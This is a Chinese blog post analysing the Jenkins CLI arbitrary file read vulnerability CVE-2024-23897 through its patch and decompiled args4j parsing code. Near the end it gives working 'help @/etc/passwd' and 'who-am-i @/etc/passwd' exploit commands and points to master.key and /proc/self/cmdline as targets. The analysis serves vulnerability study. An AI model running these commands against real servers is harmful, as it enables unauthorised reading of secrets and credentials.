浅析Jenkis任意文件读取(CVE-2024-23897)

浅析Jenkis任意文件读取(CVE-2024-23897)

很久没更新博客了,还是浅浅更新一下

补丁分析

首先从官方公告可以看到漏洞其实来源于CLI工具,同时可以看到用户拥有(Overall/Read)权限可以读取整个文件,而如果没有权限则仅能读取第一行

image-20240127101320366

同时从commit可以看出[SECURITY-3314] · jenkinsci/jenkins@554f037 ,主要对CLICommand.java做了修改,禁止使用@符号,那么接下来我们便看看解析的时候是如何处理@符号

org.kohsuke.args4j.CmdLineParser#parseArgument中,调用了expandAtFiles方法,从名字就能看出是处理@符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void parseArgument(String... args) throws CmdLineException {
Utilities.checkNonNull(args, "args");
String[] expandedArgs = args;
if (this.parserProperties.getAtSyntax()) {
expandedArgs = this.expandAtFiles(args);
}

CmdLineImpl cmdLine = new CmdLineImpl(expandedArgs);
Set<OptionHandler> present = new HashSet();
int argIndex = 0;

while(cmdLine.hasMore()) {
String arg = cmdLine.getCurrentToken();
if (!this.isOption(arg)) {
if (argIndex >= this.arguments.size()) {
Messages msg = this.arguments.size() == 0 ? Messages.NO_ARGUMENT_ALLOWED : Messages.TOO_MANY_ARGUMENTS;
throw new CmdLineException(this, msg, new String[]{arg});
}

this.currentOptionHandler = (OptionHandler)this.arguments.get(argIndex);
if (this.currentOptionHandler == null) {
throw new IllegalStateException("@Argument with index=" + argIndex + " is undefined");
}

if (!this.currentOptionHandler.option.isMultiValued()) {
++argIndex;
}
} else {
boolean isKeyValuePair = arg.contains(this.parserProperties.getOptionValueDelimiter()) || arg.indexOf(61) != -1;
this.currentOptionHandler = isKeyValuePair ? this.findOptionHandler(arg) : this.findOptionByName(arg);
if (this.currentOptionHandler == null) {
throw new CmdLineException(this, Messages.UNDEFINED_OPTION, new String[]{arg});
}

if (isKeyValuePair) {
cmdLine.splitToken();
} else {
cmdLine.proceed(1);
}
}

int diff = this.currentOptionHandler.parseArguments(cmdLine);
cmdLine.proceed(diff);
present.add(this.currentOptionHandler);
}

boolean helpSet = false;
Iterator i$ = this.options.iterator();

while(i$.hasNext()) {
OptionHandler handler = (OptionHandler)i$.next();
if (handler.option.help() && present.contains(handler)) {
helpSet = true;
}
}

if (!helpSet) {
this.checkRequiredOptionsAndArguments(present);
}

}

expandAtFiles中如果参数以@开头就会读取@后对应的文件,并将内容添加到数组result返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private String[] expandAtFiles(String[] args) throws CmdLineException {
List<String> result = new ArrayList();
String[] arr$ = args;
int len$ = args.length;

for(int i$ = 0; i$ < len$; ++i$) {
String arg = arr$[i$];
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) {
throw new CmdLineException(this, Messages.NO_SUCH_FILE, new String[]{file.getPath()});
}

try {
result.addAll(readAllLines(file));
} catch (IOException var9) {
throw new CmdLineException(this, "Failed to parse " + file, var9);
}
} else {
result.add(arg);
}
}

return (String[])result.toArray(new String[result.size()]);
}

继续回到CLICommand,可以看到在解析前有鉴权处理,但如果命令是HelpCommand\WhoAmICommand的实例那么就不需要权限

1
2
3
4
5
6
7
8
9
sc = SecurityContextHolder.getContext();
old = sc.getAuthentication();
Authentication auth;
sc.setAuthentication(auth = this.getTransportAuthentication2());
if (!(this instanceof HelpCommand) && !(this instanceof WhoAmICommand)) {
Jenkins.get().checkPermission(Jenkins.READ);
}

p.parseArgument((String[])args.toArray(new String[0]));

因此执行
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help @/etc/passwd

java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ who-am-i @/etc/passwd

image-20240127131524946

当然其实其他指令也是可以的,有了文件读取我们其实能做的就很多了,最常见的读取/var/jenkins_home/secrets/ master.key,当然可能在其他目录下,这时候我们可以读取/proc/self/cmdline读取启动

image-20240127132409733

当然后利用不是这篇文章的主题,有空网上多百度看看文章即可

参考链接

https://www.openwall.com/lists/oss-security/2024/01/24/6

https://www.openwall.com/lists/oss-security/2024/01/24/6